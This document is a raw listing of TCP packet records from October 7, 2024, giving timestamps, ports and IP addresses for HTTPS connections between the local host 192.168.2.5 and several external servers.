Oct 7, 2024 14:10:10.538811922 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:10.538902044 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:10.667784929 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.667851925 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.675549984 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.675601006 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.675663948 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.675972939 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.675985098 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.684468985 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:10.684555054 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:10.684926033 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:10.686494112 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:10.731396914 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:10.766108990 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.766196012 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.766571045 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.766802073 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.766833067 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.767318010 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.767343044 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.767353058 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.767415047 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.767966986 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.767977953 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.768419027 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.768425941 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.768444061 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.768464088 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.772260904 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:10.772298098 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:10.772542000 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:10.773299932 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:10.773324966 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:10.773389101 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:10.773603916 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.773639917 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.773807049 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.773816109 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.774034977 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.774070024 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.774317980 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.774344921 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.775002003 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.775013924 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.775255919 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:10.775264978 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:10.775437117 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:10.775465012 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:10.865729094 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:10.865906954 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:10.867332935 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:10.962622881 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:10.962687016 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:11.152390957 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.153386116 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.153424978 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.153732061 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.155725956 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.155781984 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.155869961 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.199404955 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.232470989 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.232731104 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.232762098 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.233632088 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.233691931 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.249789000 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.249978065 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.250006914 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.250993013 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.251058102 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.251420975 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.251506090 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.251589060 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.251604080 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.252274036 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.252424955 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.252439976 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.253551960 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.253846884 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.253848076 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.253909111 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.253917933 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.254159927 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.254236937 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.254251003 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.254409075 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.254695892 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.254765034 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.254780054 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.254800081 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.274312019 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.274497032 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.274518967 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.278053999 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.278152943 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.278390884 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.278491020 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.278497934 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.278558016 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.283519030 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.283696890 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.283704996 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.287215948 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.287281990 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.287535906 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.287623882 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.287626982 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.287697077 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.290504932 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.290576935 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.290662050 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.290725946 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.291416883 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.299406052 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.306468010 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.306473017 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.306533098 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.310442924 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.310533047 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.310595989 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.322423935 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.322438002 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.338459015 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.338464022 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.354507923 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.354666948 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.370552063 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.373724937 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.373732090 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.373845100 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.374650955 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.374658108 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.374715090 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.386593103 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.389873028 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.389889956 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.389895916 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.389949083 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.389966011 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392574072 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392628908 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392764091 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392837048 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392844915 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392900944 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.392936945 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.392946959 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392952919 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.392997980 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.393254042 CEST	49719	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.393295050 CEST	443	49719	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.393623114 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.393644094 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.393773079 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.394181967 CEST	49728	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.394191980 CEST	443	49728	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.409310102 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.409372091 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.409385920 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.415045977 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.415112019 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.415138006 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.415158033 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.415225029 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.415225029 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.415241957 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.424487114 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.424506903 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.424513102 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.424554110 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.424572945 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.424617052 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.424662113 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.450797081 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.461672068 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.461678982 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.461735010 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.461750031 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.461807013 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.461838007 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.461873055 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.461915016 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.461945057 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.461949110 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.461982012 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.462006092 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.462249994 CEST	49722	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.462277889 CEST	443	49722	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.462469101 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.462522030 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.462584972 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.462627888 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.463048935 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.463207006 CEST	49729	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.463227987 CEST	443	49729	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.463754892 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.463831902 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.464354992 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.464413881 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.465328932 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.465384960 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.473421097 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.473428011 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.473454952 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.473505974 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.473505974 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.474325895 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.474332094 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.474387884 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.475903034 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.475955963 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.476116896 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.476169109 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.476453066 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.476481915 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.476505041 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.476514101 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.476528883 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.476656914 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.476799965 CEST	49718	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.476814985 CEST	443	49718	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.477055073 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.477077961 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.477267027 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.477511883 CEST	49730	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.477544069 CEST	443	49730	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.492335081 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.492341995 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.492419958 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.492746115 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.492753029 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.492819071 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.512284040 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.512291908 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.512351036 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.513123035 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.513128996 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.513185024 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.513927937 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.513933897 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.513991117 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.549663067 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.549846888 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.550226927 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.550663948 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.550673008 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.550721884 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.553354025 CEST	49720	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.553366899 CEST	443	49720	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.555229902 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.555254936 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.555447102 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.556160927 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.556168079 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.556195021 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.556238890 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.556261063 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.556281090 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.556286097 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.556334019 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.557945967 CEST	49731	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.557960987 CEST	443	49731	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.560131073 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.560276985 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.563282013 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.563296080 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.564563990 CEST	49721	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.564578056 CEST	443	49721	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.573066950 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.573092937 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.573720932 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.574269056 CEST	49732	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.574280977 CEST	443	49732	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.600451946 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.600557089 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.601366043 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.601525068 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.602345943 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.602423906 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.603810072 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.603842974 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.603892088 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.603897095 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.603914976 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.603940964 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.604762077 CEST	49723	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.604773045 CEST	443	49723	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.610956907 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.610990047 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.611135960 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.612581968 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.615035057 CEST	49733	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:11.615052938 CEST	443	49733	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:11.657696962 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.673501015 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.673522949 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.673564911 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.673593044 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.673593998 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.673613071 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.673631907 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.673639059 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.673645020 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.673664093 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.673685074 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.723547935 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:11.746263027 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.746279955 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.746350050 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.746376038 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.746416092 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.747062922 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.747075081 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.747133970 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.747139931 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.747180939 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.749584913 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:11.749619961 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:11.751240969 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:11.751308918 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:11.753323078 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:11.753422022 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:11.753875017 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:11.753891945 CEST	443	49725	77.232.36.155	192.168.2.5
Oct 7, 2024 14:10:11.799571037 CEST	49725	443	192.168.2.5	77.232.36.155
Oct 7, 2024 14:10:11.831381083 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.831403971 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.831450939 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.831478119 CEST	443	49724	151.101.2.137	192.168.2.5
Oct 7, 2024 14:10:11.831490040 CEST	49724	443	192.168.2.5	151.101.2.137
Oct 7, 2024 14:10:11.831516027 CEST	49724	443	192.168.2.5	151.101.2.137
